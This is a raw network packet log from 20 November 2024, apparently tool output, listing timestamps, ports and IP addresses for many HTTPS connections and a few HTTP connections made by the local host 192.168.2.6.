Nov 20, 2024 14:43:28.980510950 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:28.980994940 CET	49769	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:28.981004000 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.055527925 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.103589058 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.255505085 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.315712929 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.318690062 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.359992981 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.360024929 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.360903978 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.360908985 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.366070986 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.413652897 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.413667917 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.414365053 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.414369106 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.420181990 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.420257092 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.420326948 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.421068907 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.421094894 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.421112061 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.421118021 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.421142101 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.421209097 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.421257019 CET	49769	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.421364069 CET	49769	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.421370983 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.421382904 CET	49769	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.421386957 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.432143927 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.432161093 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.433335066 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.433346033 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.590256929 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.590327024 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.590526104 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.590667963 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.590732098 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.590862989 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.697002888 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.697081089 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.697186947 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.725666046 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.725711107 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.725908041 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.725940943 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.748300076 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.748338938 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.748356104 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.748363018 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.776835918 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.776900053 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.776972055 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.787065029 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.787147045 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.787326097 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.809796095 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.809847116 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.809932947 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.888418913 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.888468027 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.912803888 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.912803888 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.912846088 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.912869930 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:29.929533958 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:29.929557085 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:30.455866098 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:30.455876112 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:30.455920935 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:30.458545923 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:30.458556890 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:30.486828089 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:30.486885071 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:30.486953974 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:30.532633066 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:30.532737017 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:30.534544945 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:30.534580946 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:30.603960037 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:30.604012966 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:30.604094028 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:30.611172915 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:30.611191034 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:30.655597925 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:30.655636072 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:30.655649900 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:30.655668974 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:30.658926010 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.103631020 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.103647947 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.103735924 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:31.107732058 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.107817888 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.107866049 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:31.116455078 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.116497993 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.116556883 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:31.124233007 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.124273062 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.124321938 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:31.132446051 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:31.307471991 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:31.511596918 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.515050888 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.531954050 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.531976938 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.532587051 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.532592058 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.534593105 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.534631014 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.535006046 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.535011053 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.717967987 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.758167028 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.758204937 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.758699894 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.758711100 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.962709904 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.962768078 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.962788105 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.962842941 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.962877989 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.962886095 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.982304096 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.982351065 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.984136105 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.984170914 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:31.984200954 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:31.984208107 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.094852924 CET	49789	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.094902039 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.095014095 CET	49789	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.163867950 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.163958073 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.164030075 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.199999094 CET	80	49759	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:32.200072050 CET	49759	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:32.258035898 CET	49789	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.258064032 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.298522949 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.298556089 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.311690092 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:32.326091051 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.405685902 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:32.405709028 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:32.407005072 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:32.407021999 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:32.407099962 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:32.419681072 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.419723034 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.420833111 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.420845985 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.439810991 CET	49790	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.439857006 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.439937115 CET	49790	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.440390110 CET	49790	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.440401077 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.457436085 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:32.457597971 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:32.461255074 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:32.461280107 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:32.472215891 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.580210924 CET	49791	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.580243111 CET	443	49791	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.580420017 CET	49791	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.581218004 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.581242085 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.582140923 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.582153082 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.645248890 CET	49791	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.645263910 CET	443	49791	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.651989937 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:32.795213938 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.795633078 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.795702934 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.865622997 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:32.866065025 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:32.866148949 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:32.897442102 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:32.897480011 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.935684919 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.935755014 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:32.936033964 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:33.002676010 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:33.002707005 CET	443	49785	94.245.104.56	192.168.2.6
Nov 20, 2024 14:43:33.002732038 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:33.002763033 CET	49785	443	192.168.2.6	94.245.104.56
Nov 20, 2024 14:43:33.054857969 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:33.054882050 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:33.093782902 CET	49793	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:33.093832016 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:33.094027042 CET	49793	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:33.519545078 CET	49793	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:33.519567966 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:33.539900064 CET	49796	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:33.539931059 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:33.539999008 CET	49796	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:33.540168047 CET	49796	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:33.540177107 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:33.664863110 CET	49759	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:33.665365934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:33.724181890 CET	49801	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:33.724251986 CET	443	49801	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:33.724324942 CET	49801	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:33.725090027 CET	49801	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:33.725104094 CET	443	49801	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:33.759373903 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:33.759419918 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:33.783828020 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:33.783885956 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:33.783951998 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:33.784374952 CET	80	49759	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:33.784746885 CET	49802	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:33.784759045 CET	443	49802	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:33.784846067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:33.784934998 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:33.787159920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:33.787214041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:33.883841991 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:33.884653091 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:33.884663105 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:33.885623932 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:33.885773897 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:33.912477016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:33.912488937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:33.915117025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:33.915127993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:34.056718111 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.057517052 CET	49789	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.057533979 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.058046103 CET	49789	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.058064938 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.127751112 CET	49803	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.127796888 CET	443	49803	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:34.127886057 CET	49803	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.127966881 CET	49804	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:34.127974987 CET	443	49804	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:34.128101110 CET	49804	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:34.128216028 CET	49803	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.128231049 CET	443	49803	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:34.128456116 CET	49804	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:34.128468037 CET	443	49804	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:34.224554062 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.227376938 CET	49790	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.227417946 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.228013039 CET	49790	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.228033066 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.273049116 CET	49805	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.273089886 CET	443	49805	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:34.273158073 CET	49805	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.274190903 CET	49805	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.274204969 CET	443	49805	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:34.286766052 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.286907911 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.287194014 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:34.290627003 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.290688992 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.290780067 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:34.298753977 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.298861980 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.299073935 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:34.307038069 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.307137012 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.307208061 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:34.315237999 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:34.498934031 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:34.502146959 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.502226114 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.502298117 CET	49789	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.502461910 CET	443	49791	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.502557993 CET	49789	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.502557993 CET	49789	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.502573013 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.502583027 CET	443	49789	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.506611109 CET	49806	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.506653070 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.506700039 CET	49791	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.506712914 CET	443	49791	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.506731987 CET	49806	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.507570982 CET	49791	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.507575989 CET	443	49791	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.507812023 CET	49806	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.507823944 CET	443	49806	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.673324108 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.673420906 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.673480988 CET	49790	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.674865961 CET	49790	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.674894094 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.674911022 CET	49790	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.674916983 CET	443	49790	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.678339958 CET	49809	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.678396940 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.678476095 CET	49809	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.678782940 CET	49809	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.678795099 CET	443	49809	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.956931114 CET	443	49791	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.956999063 CET	443	49791	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:34.959532022 CET	49791	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.967511892 CET	49814	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:34.967571974 CET	443	49814	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:34.967814922 CET	49814	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:34.967869997 CET	49815	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.967912912 CET	443	49815	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:34.967967033 CET	49815	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.968162060 CET	49816	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.968209982 CET	443	49816	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:34.968259096 CET	49816	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.968583107 CET	49814	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:34.968612909 CET	443	49814	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:34.968843937 CET	49815	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.968864918 CET	443	49815	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:34.969065905 CET	49816	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:34.969082117 CET	443	49816	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:34.977559090 CET	49791	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:34.977587938 CET	443	49791	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.065720081 CET	49818	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:35.065759897 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.065928936 CET	49818	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:35.067354918 CET	49818	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:35.067368984 CET	443	49818	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.305124998 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.310743093 CET	49793	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:35.310760021 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.311436892 CET	49793	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:35.311441898 CET	443	49793	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.334469080 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.343708992 CET	49796	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:35.343753099 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.344111919 CET	49796	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:35.344119072 CET	443	49796	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:35.354145050 CET	49804	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.354268074 CET	49814	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.355242968 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.355304956 CET	443	49819	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:35.355407953 CET	49819	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.355485916 CET	49820	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:35.355515003 CET	443	49820	162.159.61.3	192.168.2.6
